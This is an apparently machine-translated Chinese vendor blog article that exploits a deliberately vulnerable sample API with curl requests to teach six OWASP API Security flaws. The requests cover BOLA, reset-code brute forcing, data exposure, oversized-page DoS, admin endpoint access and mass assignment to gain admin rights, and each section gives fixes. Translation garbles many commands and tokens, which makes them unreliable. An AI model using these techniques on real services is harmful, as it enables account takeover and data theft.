ApriorIT

应用程序编程接口(api)通过实现平滑的数据交换来连接我们使用的软件和服务。他们经常交换高度敏感的信息:个人数据、用户凭证、财务细节等。这就是API成为黑客攻击的热门目标的原因——据该报告称,在2020年期间,91%的公司都经历过API安全事件API安全状态Salt Security报道[PDF]。

在本文中,我们概述了OWASP API安全项目中最普遍的API漏洞,展示了如何准确利用这些漏洞,并提供了在开发过程中保护您的API免受此类安全问题影响的方法。

本文将有助于希望提高api安全性的安全测试人员和开发人员。

内容:

最广泛的API漏洞是什么?

创建示例API

断开的对象级授权

破碎的用户身份验证

过度数据暴露

缺乏资源和速度限制

破功能级授权

质量分配

结论

最广泛的API漏洞是什么?

在处理应用程序安全时,保护API是关键任务之一,因为API通常是攻击者的网关。Gartner预测[订阅所需],到2022年,API滥用将成为黑客攻击最常见的传染媒介,并将导致许多数据泄露。

通过专注于API的前十大安全风险根据API安全性排名第10(2019)列表,优先考虑保护API的努力OWASP API安全项目

OWASP前10个API安全风险

理解攻击者如何利用代码中的弱点是在API开发期间防范风险的关键步骤之一。在本文中,我们将向您展示攻击者如何利用列表中的前六个漏洞的示例。我们不会关注最后四个API安全挑战,因为它们与安全机制的不当应用有关。

为了向您展示恶意参与者如何利用这些漏洞,我们创建了一个不受保护的API。我们将展示其代码的哪些部分为黑客打开了大门,并讨论如何修复它们。让我们从部署不受保护的API开始。

相关服务

安全测试

创建示例API

对于本文,我们将为简单的任务管理系统创建API。该系统具有具有不同访问级别的用户,并允许它们执行简单的任务。此外,该系统允许用户管理活动:用户帐户的自助登记,创建,编辑和删除。

API将具有以下端点:

API端点的类别

您可以使用任何Linux发行版作为此API的环境。要部署此API,请执行以下步骤:

  1. 安装码头工人
  2. 安装码头工人组成
  3. 在local.cfg中配置电子邮件地址(你需要这个地址来发送密码重置邮件)
  4. 转到API文件夹并执行docker compose up--build命令

您还可以从我们的Subply API下载此示例GitHub库.API管理员帐户的凭据是:

  • 用户名:admin
  • 密码:admin

要阅读API文档,请将./swagger/swagger.yaml文件从API上载到大摇大摆的编辑.部署API后,我们可以启动漏洞漏洞并修复它们。

另请阅读:
Web应用:常见的漏洞和消除它们的方法

断开的对象级授权

一些api公开对象标识符,这对于访问控制机制是必不可少的。这些机制验证用户只能访问那些他们拥有访问权限的资源。为了利用具有破碎的对象级授权的API,攻击者在API调用中更改请求资源的身份验证数据,并获得对受保护数据的访问权。

在我们的示例API中,只有用户自己和管理员可以查看用户的帐户详细信息。此外,我们在API开发期间添加了一个安全漏洞,并确保GET /用户端点包含一个对象级授权漏洞。为了检测它,我们需要:

  • 注册两个用户
  • 通过POST/login端点以user1身份登录到系统
  • 获取身份验证令牌

我们以这样的请求登录系统:

       
curl --location --request post'http:// insecure_api:8080 / api / login' \  -  header'accept:* / *' -  header'内容类型:application / json'\ --data-RAW'{“用户名”:“USER1”,“密码”:“密码”}'

API用以下数据响应我们的请求:

       
{“id”:1,“用户名”:“user1”,“电子邮件”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。“,”任务“:1,“名字”:“用户”,“姓氏”:“API”,“照片”:null,“用户类型”:“用户”,“令牌”:“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.EYJleHaiOj2MTM3ZU4MTASIMLHDCI6MTYXMZY0OTQXMCWIC3ViijoyFQ.DKZhupdd1Vgai5JSZJVFRDFGS9WVRT7XGVW61XVH0”

这是我们的身份验证令牌:

       
eyj0exaijkv1qilcjhbgciojiuzi1nij9.eyjlehaioje2mtm3mzu4mtasimlhdci6mtyxmzy0otqxmcwic3viijoyfq.dkzhupdd1vgai5jszjvfrdfgs9wvrt7xgvvcw61xvh0.

如果我们可以获取令牌,我们可以使用它通过GET/user端点请求user2数据:

       
curl——location——request GET 'http://insecure_api:8080/api/user/2' \——header 'accept: */*' \——header 'Content-Type: application/json' \——header 'Authorization:承载者eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ. txtdkzhupdd1vgai5jszjvfrdfgs9wvrt7xgvvcw61xh0 ' \——data-raw "

我们脆弱的API响应user2数据:

       
{"id": 2, "username": "user2", "email": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。,“任务”:0,“名字”:null,“姓氏”:null,“照片”:null,“用户类型”:“用户”}

如果我们的API受到了对象级授权攻击的保护,它将使用以下消息响应GET/user端点请求:

       
{“消息”:“未经授权”,“代码”:403}

你怎么能修好它?

为了避免破坏对象级授权,请确保您的授权机制每次在向用户提供访问权限之前检查用户层次结构和访问权限。即使用户登录到应用程序后,API也需要检查用户权限。此外,您还可以随机化用户配置文件特征(如用户id),使其难以猜测。

破碎的用户身份验证

用户身份验证问题可允许攻击者模拟用户、访问其个人数据和滥用访问权限。通常,此类漏洞隐藏在密码重置机制中。让我们看看如何在API中利用破坏的用户身份验证。

我们首先执行此密码重置请求:

       
curl--location--request POST'http://insecure_api:8080/api/reset_password“\--header”接受:*/*“\--header”内容类型:application/json“\--data raw”{“email”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。" }'

当请求成功传递时,我们将收到具有四位重置代码的电子邮件此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。.之后,我们可以发出如下请求来更改密码:

       
curl--location--request POST'http://insecure_api:8080/api/reset_password/'\--header'接受:*/'\--header'内容类型:application/json'\--data raw'{“email”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。" }'

API不会限制输入重置代码的尝试次数,这就是为什么它特别容易获得注册的用户帐户的新密码此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。.为了猜测重置代码,我们只需要编写一个脚本,尝试使用从0000到9999的所有代码:

       
curl--location--request POST'http://insecure_api:8080/api/reset_password/0000“\--header”接受:*/*“\--header”内容类型:application/json“\--data raw”{“email”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。“}''curl --location --request post'http:// insecure_api:8080 / api / reset_password / 0001'\  -  header'accept:* / *' -  header'content-type:application / json'\  -  Data-Raw'{“电子邮件”:“此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。}' .... ....curl——location——request POST 'http://insecure_api:8080/api/reset_password/9999' \——header 'accept: */*' \——header 'Content-Type: application/json' \——data-raw '{"email": ": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。" }'

当脚本输入正确的重置代码时,我们将得到一个带有新密码的响应:

       
{“密码”:“ICtim2aev9Uf2QzA”}

通过利用此对象级授权漏洞,我们可以获得拥有此电子邮件的用户的登录名、登录到其帐户并更改电子邮件。

在我们的示例API中,存在一个安全威胁,允许我们使用相同的重置代码多次重置用户密码。我们可以通过代码1111传递此请求,并随时更改用户密码:

       
curl——location——request POST 'http://insecure_api:8080/api/reset_password/1111' \——header 'accept: */*' \——header 'Content-Type: application/json' \——data-raw '{"email": ": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。" }'

你怎么能修好它?

只要有可能,最好实现多因素身份验证,以确认试图登录账户的人的身份。另外,将凭据恢复视为附加的登录端点:请记住凭据恢复系统也可能是蛮力强制的。这就是为什么需要对登录尝试进行限制,验证码机制和其他安全措施。

另请阅读:
如何使用LSA服务API为Windows实现Kerberos身份验证

过度数据暴露

当开发人员实施用于API和客户端之间的通信的通用机制时,可能会出现此API安全漏洞。在这种情况下,API可以向客户端发送比它需要的数据更多,并且客户端必须过滤数据并从用户隐藏无关信息。攻击者可以从中嗅探此流量并提取敏感信息:身份验证令牌,帐号,电子邮件地址等

为了演示API中的这个漏洞,我们将从GET /任务端点请求任务的ID和关于用户的完整信息。这个端点应该只返回任务ID,但是让我们看看发生了什么。

这是我们的要求:

       
curl--location--request GET'http://insecure_api:8080/api/task/1“\--header”accept://*“\--header”Content Type:application/json“\--header”Authorization:Bearer eyj0exaiijkv1qiljhbgcioijiuzi1nij9.eyjlehaioje2m3mzu4mtasimlhdci6mtyxmzy0otqxmcwic3viijoyfq.dkzhupdd1vgai5jszjvfffrdfgs9wvrt7xgvcwvcw61xvh0”数据原始“

下面是GET/task端点的响应方式:

       
{"id": 1, "title": "user1的任务","description": "重要任务要做","status": "Open", "assignee": 2, "username": "user1", "email": "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。,“任务”:1,“名字”:“用户”,“姓氏”:“API”,“照片”:null,“用户类型”:“用户”}

如果攻击者拦截了这个响应,他们将获得API中关于用户的所有信息,即使这些信息在API的客户端中不可用。

你怎么能修好它?

依赖应用程序过滤API中的数据是一种糟糕的网络安全做法。相反,您应该分析API可以访问哪些敏感数据,并查看API中所有可能的响应。配置响应时,应确保响应仅包含用户请求的信息,而不包含其他信息。

另请阅读:
如何在.NET平台上测试REST API服务

缺乏资源和速度限制

API可以使用CPU、RAM和磁盘资源来处理请求。开发人员通常根据应用程序的业务逻辑选择为API分配的资源。如果攻击者设法绕过业务逻辑限制,从而造成API必须处理比其设计更多的请求的情况,则应用程序将耗尽资源并开始出现故障或变得不可用。

在我们的API中,GET/tasks包含此漏洞。此端点支持分页-将RAM中的数据存储在硬盘驱动器上。攻击者可以滥用此功能使API过载。

假设应用程序在一个页面上显示10个任务。显示任务的请求如下所示:

       
curl --location --request get'http:// insecure_api:8080 / api /任务?页面= 1&size = 10'\  -  header'accept:* / *' -  header'内容类型:application / json'\  -  header'授权:持票人exj0exaioijkv1qilcjhbgcijiuzi1nij9.eyjlehaioje2mtm3mzu4mtasimlhdci6mtyxmzy0tqxmcwic3viijoyfq.dkzhupdd1vai5jszjvfrdfgs9wvrt7xgvvcw61xvh0'\ --data-raw''

攻击者可以使用放大的大小参数发送自己的请求以过载API:

       
卷曲 - 位置 - 重新查询GET'http:// insecure_api:8080 / api /任务?页面= 1和size = 100000'\  -  header'accept:* / *' -  header'内容类型:应用程序/ json'\  -  header'授权:持票人exj0exaioijkv1qilcjhbgcijiuzi1nij9.eyjlehaioje2mtm3mzu4mtasimlhdci6mtyxmzy0tqxmcwic3viijoyfq.dkzhupdd1vai5jszjvfrdfgs9wvrt7xgvvcw61xvh0'\ --data-raw''

如果数据库中分配给请求任务的用户的任务过多,API将过载,从而导致拒绝服务。

你怎么能修好它?

您可以通过限制可以为API分配的资源和来自客户端在定义的时间范围内的API分配的资源来防止资源缺乏资源和拒绝服务。这将创建速率限制,API将在达到资源限制时通知应用程序。

另一个有用的实践是定义API在不减慢速度的情况下可以处理的请求参数中的最大数据大小。

另请阅读:
提高产品质量的内部安全审计检查表

破功能级授权

错误配置的授权机制允许攻击者获得对敏感资源的未经授权的访问,并窃取、编辑或创建新的用户帐户。为了检测此漏洞,攻击者发送请求以访问他们不应该能够访问的对象。

我们将GET/admin/users端点添加到API中以演示此漏洞。此端点返回应用程序中注册的所有用户的数据,而不检查请求数据的用户(用户或管理员)。以下是此类请求的示例:

       
curl--location--request GET'http://insecure_api:8080/api/admin/users“\--header”accept://*“\--header”Content Type:application/json“\--header”Authorization:Bearer eyj0exaiijkv1qiljhbgcioijiuzi1nij9.eyjlehaioje2m3mzu4mtasimlhdci6mtyxmzy0otqxmcwic3viijoyfq.dkzhupdd1vgai5jszjvfffrdfgs9wvrt7xgvcwvcw61xvh0”数据原始“

GET/admin/users端点用以下代码响应:

       
{“users”:[{“id”:1,“username”:“user1”,“password”:“password”,“email”:”此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。,“任务”:1,“位置”:null,“名字”:“用户”,“姓氏”:“API”,“照片”:null,“用户类型”:“用户”},{“id”:2,“用户名”:“用户2”,“密码”:“密码”,“电子邮件”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。, "tasks": 0, "position": null, "first_name": null, "last_name": null, "photo": null, "user_type": "user"}]}

你怎么能修好它?

强制执行授权机制,否则否则拒绝对API和应用程序的任何访问权限。它应该仅提供访问相关的凭据,属于某个组或角色,或通过多因素身份验证。之后,应该允许用户仅访问所请求的数据;当他们要求新数据时,他们必须再次授权。

质量分配

一些开发人员设计API,以便在将应用程序的输入绑定到代码和内部对象时自动分配对象属性。许多框架提供大量分配函数,以帮助加快开发速度。

这种方法对开发人员来说很方便,但也允许用户更改他们不应该访问的对象属性。此外,攻击者可以尝试猜测对象属性,或者根据他们的请求用新属性替换它们。如果API易受此类请求的攻击,攻击者可以获取有关敏感对象的信息,阅读文档n、 或修改数据对象。

在我们的API中,用户对象存在此漏洞。它有一个用户类型参数,有两个可能的值:用户管理员. 当人们自己在我们的应用程序中注册时,他们的帐户被指定为用户默认值。但是,我们的API允许用户通过PUT / USER请求更改此值。通过这种方式,攻击者可以获得管理员权限。

要利用此漏洞,我们必须使用此请求注册用户:

       
curl--location--request POST'http://insecure_api:8080/api/sign_up“\--header”接受:*/*“\--header”内容类型:application/json“\--data raw”{“email”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。“,”用户名“:”用户4“,”密码“:”密码“}”

之后,我们将获得用户帐户详细信息的回复:

       
{“id”:4,“用户名”:“user4”,“电子邮件”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。,“任务”:0,“用户类型”:“用户”}

然后,我们需要将“用户类型”字段更改为“管理员”:

       
curl——location——request PUT 'http://insecure_api:8080/api/user/4' \——header 'accept: */*' \——header 'Content-Type: application/json' \——header 'Authorization:承载者eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM5OTE1MTQsImlhdCI6MTYxMzkwNTExNCwic3ViIjo1fQ. txtgdgta35xhxlyct3e9lkki1qrmiklqmgvzfnfiurwyw ' \——data-raw '{"username": "user4", "first_name": "User", "last_name": "API", "email": " "此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。”、“位置”:“User4_position”、“user_type”:“admin”}

API将响应更新的用户数据:

       
{“id”:4,“用户名”:“user4”,“电子邮件”:此电子邮件地址受到垃圾邮件程序的保护。您需要启用Javascript来查看它。”、“任务”:0,”first_name”:“用户”、“last_name”:“API”、“照片”:空,“user_type”:“admin”}

这样,user4将获得管理员访问权限。

你怎么能修好它?

如果使用自动分配代码变量或对象属性的框架,请手动定义这些参数。为了避免在可以从API检索的数据中发生不必要的更改,为所有此类数据添加readOnly属性。

检测和停止大规模分配攻击的另一种方法是在应用程序中实现用户和实体行为分析(UEBA)。UEBA系统将弄清楚API的正常行为,并警告您的可疑操作,如API通常不会改变的更改对象。

另请阅读:
使用Python连接Windows API的全面指南

结论

缓解来自OWASP API安全项目的安全问题对于确保应用程序的保护至关重要。为了确定测试过程的优先级并节省一些时间,您可以专注于查找和修复我们在本文中讨论的最广泛的漏洞。

在Aperiorit,我们发展我们的api时刻牢记网络安全测试它们在推出之前。С按以下表格与我们联系,以便我们可以开始改进您的项目!

跟我们说说你的项目
向我们发送提案请求!我们将通过详细信息和估算回复您。

浏览
单击“发送”,表示您同意处理您的数据

预约一次试探性电话

没有任何特定的任务,但我们的技能似乎很有趣?

快速获取Apriorit简介,以更好地了解我们的团队能力。

联系我们

  • +1 202-780-9339
  • [受电子邮件保护]
  • 美国威尔明顿市银边路3524号35B室,邮编:19810-4929
  • D-U-N-S号:117063762
Baidu